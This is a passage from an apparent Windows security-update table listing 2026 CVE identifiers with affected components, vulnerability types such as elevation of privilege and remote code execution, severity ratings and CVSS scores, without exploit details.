Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of 